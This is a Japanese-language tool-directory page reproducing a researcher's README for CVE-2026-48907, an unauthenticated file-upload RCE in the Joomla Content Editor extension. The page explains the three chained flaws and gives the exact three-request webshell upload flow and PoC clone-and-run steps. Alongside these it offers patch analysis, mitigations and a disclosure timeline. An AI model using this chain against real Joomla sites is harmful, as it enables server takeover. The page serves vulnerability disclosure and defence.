Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-48907 — CVE-2026-48907 は、Joomla Content Editor における CVSS 10.0 の pre-auth RCE であり、バージョン 2.9.99.4 以下のすべてのバージョンに影響します。Grayxploit チームは、3 つの脆弱性の連鎖 — 認証の欠如、拡張子の検証の欠如、安全でないアップロードフラグ — を分析し、攻撃者が 3 回の HTTP リクエストでシェルを奪取できることを示しています。 | Kitploit
ツール/GitHubGitHub/grayxploit/cve-2026-48907
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト論文と研究学習と教育
GitHubgrayxploit/cve-2026-48907

CVE-2026-48907

CVE-2026-48907 は、Joomla Content Editor における CVSS 10.0 の pre-auth RCE であり、バージョン 2.9.99.4 以下のすべてのバージョンに影響します。Grayxploit チームは、3 つの脆弱性の連鎖 — 認証の欠如、拡張子の検証の欠如、安全でないアップロードフラグ — を分析し、攻撃者が 3 回の HTTP リクエストでシェルを奪取できることを示しています。

リポジトリを見る
1ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-48907 — Joomla Content Editor (JCE) ≤ 2.9.99.4 における認証不要のRCE

CVE-2026-48907 の概念実証エクスプロイト — Joomla Content Editor (JCE) 拡張機能における CVSS 10.0 の事前認証リモートコード実行脆弱性。
Grayxploit Security Team による研究

Gemini_Generated_Image_2i4b4p2i4b4p2i4b

目次

  • 概要
  • 影響を受けるバージョン
  • 脆弱性の詳細
  • 攻撃フロー
  • 概念実証
  • パッチ分析
  • 修正方法
  • タイムライン
  • 参考文献
  • 免責事項

概要

CVE-2026-48907 は、Joomla Content Editor (JCE) 拡張機能 — 最も広くインストールされている Joomla エディター — のバージョン 2.9.99.4 以下 のすべてに影響する 重大な認証不要リモートコード実行 (RCE) 脆弱性です。

JCE のプロファイルインポートワークフローにおける3つの独立したセキュリティ上の弱点を連鎖させることで、完全に認証されていない攻撃者が以下のことを実現できます:

  • サーバーの /tmp/ ディレクトリに任意の PHP ウェブシェルをアップロード
  • HTTP 経由でそのウェブシェルの実行をトリガー
  • 資格情報なし、ユーザー操作なし、特別なネットワーク位置なしで完全な リモートコード実行 (RCE) を達成

この攻撃は わずか3つのHTTPリクエスト のみを必要とし、脆弱なJCEバージョンが動作するデフォルトのJoomlaインストールに対して機能します。

CVSS v4 スコア: 10.0 — Critical

Grayxploit セキュリティ研究チームによって発見され、責任ある開示の後、一般公開されました。


影響を受けるバージョン

ソフトウェア脆弱なバージョン修正済みバージョン
Joomla Content Editor (JCE)≤ 2.9.99.42.9.99.6 (推奨)

注: 2.9.99.5 で主要な修正が導入されました。2.9.99.6 では追加のハードニング層が追加されました。2.9.99.6 以降にアップグレードしてください。


脆弱性の詳細

この脆弱性は JCE プロファイルインポートエンドポイント に起因します:

root@kitploit:~
POST /index.php?option=com_jce&task=profiles.import

JCE では管理者がエディタープロファイルをXMLファイルとしてエクスポートおよびインポートできます。このインポートハンドラーは認証なしで到達可能であり、3つの独立した弱点の連鎖により任意のファイルアップロードを受け入れます。

Weakness 1 — 認可の欠落 (CWE-862)

インポートコントローラーはACLチェックを行っていませんでした:

root@kitploit:~
public function import()
{
    // 唯一のゲート: CSRFトークン — 簡単にバイパス可能
    Session::checkToken() or jexit(JText::_('JINVALID_TOKEN'));

    $app = Factory::getApplication();
    // … すぐにファイル処理へ — authorise() チェックなし
}

Joomla は CSRF トークンを すべての 公開ページにメタタグまたはJS変数として埋め込みます:

root@kitploit:~
<meta name="csrf.token" content="abcdef1234567890abcdef1234567890" />

攻撃者は単にホームページを取得し、トークンを抽出して再利用するだけです。CSRF チェックはクロスサイトリクエストを防ぎますが、直接スクリプトリクエストを 防ぎません。インポートパスのどこにも Factory::getUser() や $user->authorise(...) の呼び出しはありませんでした。


Weakness 2 — ファイル拡張子の検証なし (CWE-434)

アップロードハンドラーは File::makeSafe() を使用していましたが、これは不正なファイルシステム文字を取り除くだけであり、ファイル拡張子の検証や制限は 行いません:

root@kitploit:~
$file = $app->input->files->get('profile_file', null, 'raw');

if (!is_uploaded_file($file['tmp_name'])) { return false; }

$name = File::makeSafe($file['name']); // 不正な文字のみ除去

$destination = $config->get('tmp_path') . '/' . $name;
$source      = $file['tmp_name'];

File::upload($source, $destination, false, true);

shell.xml.php のようなファイル名は File::makeSafe() をそのまま通過します。Apache の mod_php は最後の認識された拡張子が .php であるため実行します。.php、.php5、.phtml、および二重拡張子のバリアントはすべて受け入れられました。


Weakness 3 — File::upload() が $allow_unsafe = true で呼び出されている (CWE-116)

Joomla の File::upload() には組み込みの拡張子ブラックリストがあり、$allow_unsafe = false(デフォルト)の場合に危険なファイルタイプをブロックします:

root@kitploit:~
// Joomla File::upload() のシグネチャ
File::upload($src, $dest, $use_streams = false, $allow_unsafe = false)

脆弱な JCE コードは このセーフティネットを明示的に無効化 しています:

root@kitploit:~
// 脆弱 — 安全でないアップロードが明示的に有効化
File::upload($source, $destination, false, true);

この単一のブール値によって Joomla の内部拡張子ブラックリスト全体がオフになり、.php、.php5、.phtml、およびその他の実行可能な拡張子がディスクに書き込まれることが可能になりました。


攻撃フロー

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│                                                                 │
│  ① GET /                                                       │
│     ← HTML/JS から csrf_token を抽出                            │
│                                                                 │
│  ② POST /index.php?option=com_jce&task=profiles.import         │
│     Content-Type: multipart/form-data                           │
│                                                                 │
│     --boundary                                                  │
│     Content-Disposition: form-data; name="task"                 │
│     profiles.import                                             │
│     --boundary                                                  │
│     Content-Disposition: form-data; name="<csrf_token>"         │
│     1                                                           │
│     --boundary                                                  │
│     Content-Disposition: form-data;                             │
│       name="profile_file";                                      │
│       filename="shell-<hash>.xml.php"                           │
│     Content-Type: application/xml                               │
│                                                                 │
│     <?= 45*69 ?>                                                │
│     --boundary--                                                │
│                                                                 │
│     ← 200 OK (ファイルが /var/www/html/tmp/ に書き込まれる)    │
│                                                                 │
│  ③ GET /tmp/shell-<hash>.xml.php                               │
│     ← レスポンス: "3105"  (45 × 69 = RCE 確認 ✓)              │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘

  セッションCookieなし。ユーザー名なし。パスワードなし。3回のHTTPリクエスト。

概念実証

⚠️ このPoCは、許可されたセキュリティ研究および侵入テストのためにのみ提供されています。明示的な書面による許可なしにシステムに対して使用しないでください。無断使用は違法かつ非倫理的です。

必要条件

root@kitploit:~
pip3 install requests

使用方法

root@kitploit:~
git clone https://github.com/grayxploit/CVE-2026-48907.git
cd CVE-2026-48907
pip3 install -r requirements.txt
python3 poc.py

期待される出力 (脆弱なターゲット)

[] Target : http://localhost:9999

[] Payload : cve-2026-48907-4821.xml.php [] Step 1 — Fetching CSRF token...

[+] CSRF token: abcdef1234567890abcdef1234567890

[] Step 2 — Uploading payload...

[+] Upload response: HTTP 200

[*] Step 3 — Triggering payload execution...

[+] Response: 3105

[CRITICAL] RCE CONFIRMED — CVE-2026-48907

Target http://localhost:9999 is VULNERABLE


パッチ分析

3つの弱点はすべて JCE 2.9.99.5 で修正され、さらに 2.9.99.6 で追加のハードニングがリリースされました。

修正1 — 認証チェックの追加 (CWE-862 の修正)

controller/profiles.php:

root@kitploit:~
$user = Factory::getUser();

if (!$user->authorise('core.manage', 'com_jce')) {
    throw new Exception(Text::_('JERROR_ALERTNOAUTHOR'), 403);
}

ゲストユーザー (id = 0) は authorise() で即座に失敗します。ファイル処理が行われる前にリクエストは拒否されます。

修正2 — 厳格な拡張子ホワイトリスト (CWE-434 の修正)

models/profile.php:

root@kitploit:~
$extension = PATHINFO($name, PATHINFO_EXTENSION);

if (strtolower($extension) !== 'xml') {
    $app->enqueueMessage(Text::_('WF_PROFILES_IMPORT_INVALID_FILE'), 'error');
    return false;
}

PATHINFO_EXTENSION は 最後の 拡張子のみを返します。shell.xml.php → php → 拒否。複数拡張子によるバイパスをすべて無効化します。

修正3 — Unsafe フラグの削除 (CWE-116 の修正)

root@kitploit:~
// 修正前 (脆弱)
File::upload($source, $destination, false, true);

// 修正後 (パッチ適用済み)
File::upload($source, $destination, false);

Joomla の内部拡張子ブラックリストが独立した防御層として再び有効になります。

2.9.99.6 での追加のハードニング

修正詳細
アップロードサイズ制限512 KB を超えるファイルを拒否
XXE 保護libxml_disable_entity_loader(true) を PHP 7.x にバックポート
XML フィールド許可リスト既知の安全な XML キーのみ処理。任意のキーは無視

修正方法

.htaccess で /tmp/ の PHP を無効化

root@kitploit:~
<Directory /var/www/html/tmp>
    php_flag engine off
    <FilesMatch "\.ph(p[2-9]?|tml)$">
        Deny from all
    </FilesMatch>
</Directory>

タイムライン


参考文献

  • NVD — CVE-2026-48907
  • Grayxploit Blog — Full Write-up
  • JCE Official Site
  • Joomla Security Advisory
  • CWE-862: Missing Authorization
  • CWE-434: Unrestricted Upload of File with Dangerous Type

免責事項

このリポジトリは、お客様が所有する、またはテストする明示的な書面による許可を得たシステムにおける、許可されたセキュリティ研究、教育、および侵入テストのみを目的としています。

Grayxploit チームは、このリポジトリで提供されるコードまたは情報の不正、違法、または悪意のある使用について一切の責任を負いません。

責任を持って使用してください。合法的にテストしてください。


ライセンス

このプロジェクトは MIT License の下でライセンスされています。


   



お役に立ちましたか? 少しの支援をお願いします。

すべてのスターは、この研究を必要としている防御者、ペネトレーションテスター、そしてブルーチームに届ける助けとなります。


   




Grayxploit について

Grayxploit は、脆弱性の発見、エクスプロイト開発、ウェブプラットフォーム、CMS エコシステム、オープンソースソフトウェアにわたる責任ある開示に焦点を当てた独立したセキュリティ研究チームです。

ツールをダウンロード
優先度アクション
🔴 緊急JCE を ≥ 2.9.99.6 にアップグレード
🟠 高サーバーレベルで /tmp/ へのウェブアクセスをブロックまたは制限
🟠 高.htaccess またはサーバー設定を介して一時ディレクトリでの PHP 実行を無効化
🟡 中WAF ルールを追加して、認証されていないセッションからの com_jce&task=profiles.import を警告/ブロック
🟡 中他の Joomla 拡張機能で、拡張子検証なしの File::upload(..., true) を監査
日付イベント
2026-05-XXGrayxploit 研究チームにより脆弱性を発見
2026-05-XXJCE メンテナーに責任ある開示を提出
2026-06-XXMITRE により CVE-2026-48907 が割り当てられる
2026-06-XXJCE 2.9.99.5 リリース — 主要な修正
2026-06-12JCE 2.9.99.6 リリース — 追加のハードニング
2026-06-12Grayxploit による一般公開
私たちが見つけるもの私たちが開示するものあなたが防御するもの
Pre-auth RCEs責任を持って、そして公開して詳細なパッチ分析を用いて
論理的な欠陥完全な根本原因分析とともにPoC を安全に使用して
連鎖する脆弱性大規模な悪用が始まる前に脅威アクターよりも速く

情報提供やコラボレーションのご希望は? Issue を開くか、GitHub プロフィールからご連絡ください。



CVE-2026-48907 — によるオリジナル研究

🔐 Grayxploit Security Team

Breaking things. Responsibly.